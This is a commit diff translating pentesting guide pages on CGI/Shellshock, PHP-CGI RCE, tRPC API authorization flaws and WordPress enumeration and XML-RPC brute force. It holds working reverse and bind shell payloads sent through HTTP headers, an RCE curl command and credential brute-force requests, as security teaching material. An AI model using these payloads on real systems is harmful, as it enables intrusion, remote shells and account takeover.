Translated ['', 'src/network-services-pentesting/pentesting-web/web-api-

This commit is contained in:
Translator 2025-10-07 10:11:52 +00:00
parent f95f10e1ec
commit 9191946abe
8 changed files with 700 additions and 653 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -5,20 +5,20 @@
## 信息 ## 信息
The **CGI 脚本是 perl 脚本**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **上传 perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **将扩展名从** **.pl** **更改为** **.cgi**, 给予 **执行权限** \(`chmod +x`\) 并 **从 web 浏览器访问** 该 reverse shell 来执行它。 The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
## **ShellShock** ## **ShellShock**
**ShellShock** 是一个影响广泛使用的 **Bash** 命令行 shell在类 Unix 操作系统中)的漏洞。它利用了 Bash 执行由应用程序传入命令的能力。该漏洞存在于对 **环境变量** 的操控中,环境变量是影响进程如何运行的动态命名值。攻击者可以通过将 **恶意代码** 附加到环境变量上来利用此漏洞,当变量被接收时这些代码会被执行,从而可能危及系统安全 **ShellShock** 是一个影响 Unix 系统中广泛使用的 **Bash** 命令行 shell 的 **vulnerability**。它利用了 Bash 运行由应用传入命令的能力。漏洞在于对 **环境变量** 的操控,环境变量是影响进程运行的动态命名值。攻击者可以通过在环境变量中附加 **恶意代码** 来利用此漏洞,这些代码在接收该变量时会被执行,从而可能导致系统被攻破
利用此漏洞时,**页面可能抛出错误**。 利用此漏洞时,**页面可能抛出错误**。
你可以通过注意其使用的是 **旧的 Apache 版本****cgi_mod** \(带有 cgi 文件夹\),或使用 **nikto** 来**发现**此漏洞。 你可以通过注意它使用了 **旧的 Apache 版本****cgi_mod** \(with cgi folder\),或使用 **nikto** 来**发现**此漏洞。
### **测试** ### **测试**
大多数测试基于使用 echo 输出某些内容并期望该字符串出现在 web 响应中。如果你认为某个页面可能存在漏洞,搜索所有 cgi 页面并进行测试。 大多数测试基于 echo 某些内容并期望该字符串在 web 响应中返回。如果你认为某个页面可能存在漏洞,搜索所有 cgi 页面并对其进行测试。
**Nmap** **Nmap**
```bash ```bash
@ -37,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash ```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
``` ```
### 漏洞利用 ### Exploit
```bash ```bash
#Bind Shell #Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11 > set rhosts 10.1.2.11
> run > run
``` ```
## 集中式 CGI dispatchers通过 selector parameters 在单一 endpoint 路由) ## 中央化 CGI 分发器(通过选择器参数进行单端点路由)
许多嵌入式 web UIs 在单一 CGI endpoint例如 `/cgi-bin/cstecgi.cgi`)后面复用数十个有权限的操作,并使用像 `topicurl=<handler>` 这样的 selector parameter 将请求路由到内部函数。 许多嵌入式 web UI 在单个 CGI 端点后复用数十个具有特权的操作(例如,`/cgi-bin/cstecgi.cgi`),并使用像 `topicurl=<handler>` 的选择器参数将请求路由到内部函数。
Methodology to exploit these routers: Methodology to exploit these routers:
- 枚举 handler namesscrape JS/HTML、brute-force with wordlists或 unpack firmware 并用 grep 搜索 dispatcher 使用的 handler strings - 枚举 handler 名称scrape JS/HTML、brute-force 使用 wordlists或 unpack firmware 并用 grep 搜索分发器使用的 handler 字符串
- 测试 unauthenticated reachability有些 handlers 忘记做 auth checks可以被直接调用 - 测试未认证可达性:某些 handler 忘记执行 auth checks 并可直接被 callable
- 关注那些调用 system utilities 或 touch files 的 handlers弱 validators 通常只阻止少数字符,可能会忽略前导连字符 `-` - 关注会调用 system utilities 或 touch files 的 handler弱校验器通常只阻止少数字符可能会漏掉前导连字符 `-`
Generic exploit shapes: Generic exploit shapes:
```http ```http
@ -77,29 +77,29 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
``` ```
检测与加固: 检测与加固:
- 注意对集中式 CGI 端点的未认证请求,其中 `topicurl` 被设置为敏感处理程序。 - 监控对集中式 CGI 端点的未认证请求,检查 `topicurl` 是否指向敏感处理程序。
- 标记以 `-` 开头的参数argv 选项注入尝试)。 - 标记以 `-` 开头的参数argv 选项注入尝试)。
- 厂商:对所有会改变状态的处理程序强制认证,使用严格的 allowlists/类型/长度 进行验证,并且绝不要将受用户控制的字符串作为命令行标志传递。 - 厂商:对所有会改变状态的处理程序强制认证,使用严格的允许列表/类型/长度进行验证,且绝不将用户控制的字符串作为命令行标志传递。
## 旧版 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) ## 旧版 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
基本上,如果 cgi 已启用且 php 版本“旧”(&lt;5.3.12 / &lt; 5.4.2你可以执行代码。 基本上,如果 cgi 启用且 php 是 "旧版" \(&lt;5.3.12 / &lt; 5.4.2\) 你可以执行代码。
要利用此漏洞,你需要在不发送参数(尤其是不发送字符 "=")的情况下访问 web 服务器上的某个 PHP 文件 为了利用此漏洞,你需要在不发送参数的情况下访问 Web 服务器上的某个 PHP 文件 \(特别是不要发送字符 "="\)
例如,为了测试该漏洞,你可以访问 `/index.php?-s`(注意 `-s`并且 **应用程序的源代码将出现在响应中** 然后,为了测试该漏洞,你可以访问例如 `/index.php?-s` \(注意 `-s`\) 并且 **应用程序的源代码将出现在响应中**
然后,为了获得 **RCE**,你可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input`,并将要执行的 **PHP 代码** 放在 **请求体中。示例:** 然后,为了获得 **RCE**,你可以发送这个特殊查询: `/?-d allow_url_include=1 -d auto_prepend_file=php://input`,并将要执行的 **PHP 代码** 放在 **请求体** 中。**示例:**
```bash ```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
``` ```
**更多关于该漏洞及可能利用的信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** **有关该漏洞及可能利用的更多信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **代理 \(MitM 针对 Web 服务器请求\)** ## **Proxy \(MitM to Web server requests\)**
CGI 会为 http 请求中的每个 header 创建一个环境变量。例如:"host:web.com" 会被创建为 "HTTP_HOST"="web.com" CGI 为 HTTP 请求中的每个 header 创建一个环境变量。例如:"host:web.com" 会被创建为 "HTTP_HOST"="web.com"
由于 HTTP_PROXY 变量可能会被 web 服务器使用。尝试发送一个包含以下内容的 **header** "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**",如果服务器在会话期间执行任何请求,你就能捕获服务器发出的每个请求 由于 HTTP_PROXY 变量可能会被 web server 使用,尝试发送一个包含以下内容的 **header****Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**。如果服务器在会话期间执行了任何 request你就能够捕获服务器发出的每个 request
## **References** ## **参考资料**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) - [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -4,52 +4,94 @@
## API Pentesting Methodology Summary ## API Pentesting Methodology Summary
Pentesting APIs 涉及一种结构化的方法来发现漏洞。本指南概括了一种全面的方法论,强调实用的技术和工具。 对 API 进行 pentesting 需要采用有结构的方法来发现漏洞。本指南概述了全面的方法论,强调实用的技术和工具。
### **Understanding API Types** ### **理解 API 类型**
- **SOAP/XML Web Services**: 使用 WSDL 格式进行文档编制,通常在 `?wsdl` 路径中找到。工具如 **SOAPUI****WSDLer** (Burp Suite Extension) 对于解析和生成请求非常重要。示例文档可在 [DNE Online](http://www.dneonline.com/calculator.asmx) 获取 - **SOAP/XML Web Services**: 使用 WSDL 格式作为文档,通常位于 `?wsdl` 路径下。像 **SOAPUI****WSDLer** (Burp Suite Extension) 这样的工具对于解析和生成请求非常有用。示例文档可在 [DNE Online](http://www.dneonline.com/calculator.asmx) 访问
- **REST APIs (JSON)**: 文档常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具提供了更用户友好的交互界面。**Postman** 是一个创建和管理示例请求的有价值工具。 - **REST APIs (JSON)**: 文档常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具能提供更友好的交互界面。**Postman** 是用于创建和管理示例请求的有力工具。
- **GraphQL**: 一种用于 API 的查询语言,提供对 API 中数据的完整和可理解的描述 - **GraphQL**: 一种为 API 提供完整且可理解数据描述的查询语言
### **Practice Labs** ### **实践实验室**
- [**VAmPI**](https://github.com/erev0s/VAmPI): 一个故意存在漏洞的 API供实践使用涵盖 OWASP 前 10 大 API 漏洞 - [**VAmPI**](https://github.com/erev0s/VAmPI): 一个刻意设计为有漏洞的 API用于实践练习覆盖 OWASP top 10 API vulnerabilities
### **Effective Tricks for API Pentesting** ### **API Pentesting 的有效技巧**
- **SOAP/XML Vulnerabilities**: 探索 XXE 漏洞,尽管 DTD 声明通常受。如果 XML 保持有效CDATA 标签可能允许有效负载插入。 - **SOAP/XML Vulnerabilities**: 探索 XXE 漏洞,尽管 DTD 声明通常受限。如果 XML 保持有效CDATA 标签可能允许插入 payload
- **Privilege Escalation**: 测试具有不同权限级别的端点,以识别未授权访问的可能性。 - **Privilege Escalation**: 针对不同权限级别的端点进行测试,以识别未经授权访问的可能性。
- **CORS Misconfigurations**: 检查 CORS 设置,以寻找通过已认证会话的 CSRF 攻击的潜在利用可能性 - **CORS Misconfigurations**: 检查 CORS 设置是否可被利用,通过来自已认证会话的 CSRF 攻击进行滥用
- **Endpoint Discovery**: 利用 API 模式发现隐藏的端点。像模糊测试工具这样的工具可以自动化此过程。 - **Endpoint Discovery**: 利用 API 模式发现隐藏端点。像 fuzzers 这样的工具可以自动化此过程。
- **Parameter Tampering**: 尝试在请求中添加或替换参数,以访问未授权的数据或功能。 - **Parameter Tampering**: 尝试在请求中添加或替换参数,以访问未授权的数据或功能。
- **HTTP Method Testing**: 变请求方法GET, POST, PUT, DELETE, PATCH以发现意外行为或信息泄露。 - **HTTP Method Testing**: 变请求方法GET, POST, PUT, DELETE, PATCH以发现意外行为或信息泄露。
- **Content-Type Manipulation**: 在不同的内容类型x-www-form-urlencoded, application/xml, application/json之间切换以测试解析问题或漏洞。 - **Content-Type Manipulation**: 在不同的 content typesx-www-form-urlencoded, application/xml, application/json之间切换以测试解析问题或漏洞。
- **Advanced Parameter Techniques**: 在 JSON 有效负载中测试意外数据类型,或玩弄 XML 数据以进行 XXE 注入。同时,尝试参数污染和通配符字符以进行更广泛的测试。 - **Advanced Parameter Techniques**: 在 JSON payload 中测试意外的数据类型或操作 XML 数据进行 XXE 注入。还要尝试 parameter pollution 和通配符字符以进行更广泛的测试。
- **Version Testing**: 较旧的 API 版本可能更容易受到攻击。始终检查并测试多个 API 版本。 - **Version Testing**: 旧版本的 API 可能更容易受到攻击。务必检查并测试多个 API 版本。
### **Tools and Resources for API Pentesting** ### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
- [**kiterunner**](https://github.com/assetnote/kiterunner): 非常适合发现 API 端点。使用它扫描和暴力破解目标 API 的路径和参数。 现代 TypeScript 堆栈通常使用 tRPC 和 Zod 进行输入验证。在 tRPC 中,`protectedProcedure` 通常确保请求具有有效的 session (authentication),但并不意味着调用者具有正确的 role/permissions (authorization)。这种不匹配会在敏感过程仅由 `protectedProcedure` 进行限制时导致 Broken Function Level Authorization/BOLA。
- Threat model: 如果缺少角色检查,任何低权限的已认证用户都可以调用本应仅限管理员的过程(例如 background migrations、feature flags、tenant-wide maintenance、job control
- Black-box signal: 当 `POST /api/trpc/<router>.<procedure>` 端点对于普通账户也能成功且本应仅限管理员时。自助注册会大大增加可利用性。
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
Example vulnerable pattern (no role/permission gate):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
实际利用 (black-box)
1) 注册一个普通账号并获取经过认证的会话cookies/headers
2) 通过“list”/“all”/“status”接口枚举后台作业或其他敏感资源。
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) 调用特权操作,例如重启作业:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
需评估的影响
- 通过非幂等重启导致的数据损坏:强制并发运行迁移/worker 可能产生竞态条件并造成不一致的部分状态(静默数据丢失、分析功能损坏)。
- DoS via worker/DB starvation重复触发高负载任务可能耗尽 worker 池和数据库连接,导致租户范围的服务中断。
### **用于 API Pentesting 的工具与资源**
- [**kiterunner**](https://github.com/assetnote/kiterunner):非常适合发现 API endpoints。用于扫描并对目标 API 的路径和参数进行 brute force。
```bash ```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
``` ```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj 是一个命令行工具,旨在通过检查相关的 API 端点的弱身份验证来协助审计 **暴露的 Swagger/OpenAPI 定义文件**。它还提供手动漏洞测试的命令模板。 - [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj 是一个命令行工具,旨在通过检查相关的 API 端点是否存在弱身份验证来协助审计 **exposed Swagger/OpenAPI definition files**。它还提供用于手动漏洞测试的命令模板。
- 其他工具如 **automatic-api-attack-tool**、**Astra** 和 **restler-fuzzer** 提供针对 API 安全测试的定制功能,从攻击模拟到模糊测试和漏洞扫描。 - 其他工具如 **automatic-api-attack-tool**、**Astra** 和 **restler-fuzzer** 为 API 安全测试提供定制化功能范围包括攻击模拟、fuzzing 和漏洞扫描。
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): 这是一个基于 OAS 文件审计您的 API 的 API 安全工具(该工具用 Rust 编写)。 - [**Cherrybomb**](https://github.com/blst-security/cherrybomb): 它是一个基于 OAS 文件对 API 进行审计的 API 安全工具(该工具用 rust 编写)。
### **学习和实践资源** ### **学习与练习资源**
- **OWASP API Security Top 10**: 理解常见 API 漏洞的必读材料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 - **OWASP API Security Top 10**: 理解常见 API 漏洞的必读材料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API 安全检查清单**: 一个全面的 API 安全检查清单 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。 - **API Security Checklist**: 用于保护 API 的全面检查清单 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ 过滤器**: 用于寻找 API 漏洞Logger++ 提供有用的过滤器 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 - **Logger++ Filters**: 用于追踪 API 漏洞Logger++ 提供了有用的过滤器 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API 端点列表**: 一个经过策划的潜在 API 端点列表,用于测试目的 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 - **API Endpoints List**: 为测试目的整理的潜在 API 端点列表 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## 参考 ## 参考资料
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## 基本信息 ## 基本信息
- **Uploaded** 文件存放于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE你很可能会使用该路径。例如使用 **theme twentytwelve** 你可以 **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE你很可能会使用该路径。例如使用 **theme twentytwelve** 可以 **access** **404.php** 文件,路径为: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- 在 **wp-config.php** 中你可以找到数据库的 root 密码。 - 在 **wp-config.php** 中你可以找到数据库的 root 密码。
- 默认登录路径可检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - 默认登录路径可检查_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files** ### **主要 WordPress 文件**
- `index.php` - `index.php`
- `license.txt` 包含有用信息,例如安装的 WordPress 版本。 - `license.txt` 包含有用信息,例如安装的 WordPress 版本。
- `wp-activate.php` 在设置新 WordPress 站点时用于电子邮件激活流程。 - `wp-activate.php` 在设置新的 WordPress 站点时用于电子邮件激活过程。
- 登录文件夹(可能被重命名以隐藏): - 登录相关文件夹(可能被重命名以隐藏):
- `/wp-admin/login.php` - `/wp-admin/login.php`
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` 是一个表示 WordPress 功能的文件,该功能允许以 HTTP 作为传输机制、以 XML 作为编码机制来传输数据。此类通信已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。 - `xmlrpc.php` 是一个文件,表示 WordPress 的一个功能,该功能使数据可以通过以 HTTP 作为传输机制、以 XML 作为编码机制的方式进行传输。这种类型的通信已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。
- `wp-content` 文件夹是存放插件和主题的主要目录。 - `wp-content` 文件夹是存储 plugins 和 themes 的主要目录。
- `wp-content/uploads/`平台上上传文件存储的目录。 - `wp-content/uploads/`存储任何上传到平台的文件的目录。
- `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和小部件 - `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和 widgets
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中WordPress 会生成一个包含所有公开帖子和可公开查询的帖子类型与分类法的 sitemap XML 文件。 - `wp-sitemap.xml` 在 Wordpress 5.5 及更高版本中Worpress 会生成一个包含所有公开帖子和可公开查询的 post types 及 taxonomies 的站点地图 XML 文件。
**Post exploitation** **Post exploitation**
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息例如数据库名、数据库主机、用户名和密码、authentication keys and salts以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在排错时很有用。 - `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、authentication keys and salts以及数据库表前缀。该配置文件还可用于激活 DEBUG 模式,这在故障排除时很有用。
### Users Permissions ### 用户权限
- **Administrator** - **Administrator**
- **Editor**: 发布并管理自己他人的文章 - **Editor**: 发布并管理自己他人的文章
- **Author**: 发布并管理自己的文章 - **Author**: 发布并管理自己的文章
- **Contributor**: 编写并管理自己的文章但不能发布它们 - **Contributor**: 撰写并管理自己的文章,但无法发布它们
- **Subscriber**: 查看文章并编辑他们的个人资料 - **Subscriber**: 浏览文章并编辑他们的个人资料
## **Passive Enumeration** ## **被动枚举**
### **Get WordPress version** ### **获取 WordPress 版本**
检查是否能找到文件 `/license.txt``/readme.html` 检查是否能找到文件 `/license.txt``/readme.html`
在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/: 在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
- grep - grep
```bash ```bash
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash ```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
### 提取版本信息(通用) ### 一般性提取版本信息
```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### 插件和主题 ### 插件和主题
你可能无法找到所有插件和主题。为了发现它们,你需要**主动对插件和主题列表进行 Brute Force**(希望有自动化工具包含这些列表)。 你可能无法找到所有可能的插件和主题。为了发现全部,你需要 **主动 Brute Force 插件和主题列表**(幸运的是通常有包含这些列表的自动化工具)。
### 用户 ### 用户
- **ID Brute:** 通过 Brute Forcing 用户 ID,可从 WordPress 站点获取有效用户: - **ID Brute:** 通过对用户 ID 进行 Brute Forcing从 WordPress 站点获取有效用户:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
如果响应**200****30X**,则表示该 id 是 **有效的**。如果响应为 **400**,则该 id **无效** 如果响应**200****30X**,则表示该 id 为 **有效**。如果响应是 **400**,则表示该 id 为 **无效**
- **wp-json:**还可以尝试通过查询来获取有关用户的信息: - **wp-json:**也可以通过查询来获取有关用户的信息:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
另一个会显示一些用户信息的 `/wp-json/` 端点是: 另一个可以揭示一些有关用户信息的 `/wp-json/` 端点是:
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
注意,该端点仅会暴露曾发表过文章的用户。**仅会提供启用了此功能的用户的信息**。 注意此端点仅会暴露发布过文章的用户。**仅会提供启用了此功能的用户的信息**。
另请注意**/wp-json/wp/v2/pages** 可能会 leak IP 地址。 另请注意 **/wp-json/wp/v2/pages** 可能会泄露 IP 地址。
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,**消息** 会 **不同**,用以指示 **用户名是否存在** - **登录用户名枚举**:当通过 **`/wp-login.php`** 登录时,**提示信息**会**不同**,以指示该**用户名是否存在**
### XML-RPC ### XML-RPC
如果 `xml-rpc.php` 启用,你可以执行 credentials brute-force,或利用它对其他资源发起 DoS attacks。(例如,你可以自动化此过程[ using this](https://github.com/relarizky/wpxploit))。 如果 `xml-rpc.php` 启用,你可以执行 credentials brute-force 或用它对其他资源发起 DoS 攻击。(例如,你可以自动化此过程[ using this](https://github.com/relarizky/wpxploit))。
查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送以下请求: 要查它是否启用,尝试访问 _**/xmlrpc.php**_ 并发送请求:
**检查** **检查**
```html ```html
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Credentials Bruteforce** **Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送如下内容: **`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任意一个,你可以发送像这样的内容:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params> </params>
</methodCall> </methodCall>
``` ```
如果凭证无效,则在 200 响应中应出现消息 _"Incorrect username or password"_。 当凭证无效时HTTP 200 响应中应出现消息 _"用户名或密码不正确"_。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../..//images/image (721).png>) ![](<../../images/image (721).png>)
使用正确的凭证可以上传文件。在响应中会出现该路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) 使用正确的凭证可以上传文件。在响应中会显示路径 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html ```html
<?xml version='1.0' encoding='utf-8'?> <?xml version='1.0' encoding='utf-8'?>
<methodCall> <methodCall>
@ -168,19 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params> </params>
</methodCall> </methodCall>
``` ```
另外,有一种 **更快的方式** 使用 **`system.multicall`** 对凭证进行暴力破解,因为你可以在同一个请求中尝试多个凭证: 此外还有一种**更快的方法**来对凭证进行暴力破解,使用 **`system.multicall`** 可以在同一个请求中尝试多个凭证:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**绕过 2FA** **绕过 2FA**
此方法是为程序而非人工交互设计的,且较为古老,因此不支持 2FA。 此方法面向程序而非人工,且较为陈旧,因此不支持 2FA。所以如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA**。请注意,你无法执行通过控制台可以做的所有操作,但正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中所解释的,你仍然可能获得 RCE。
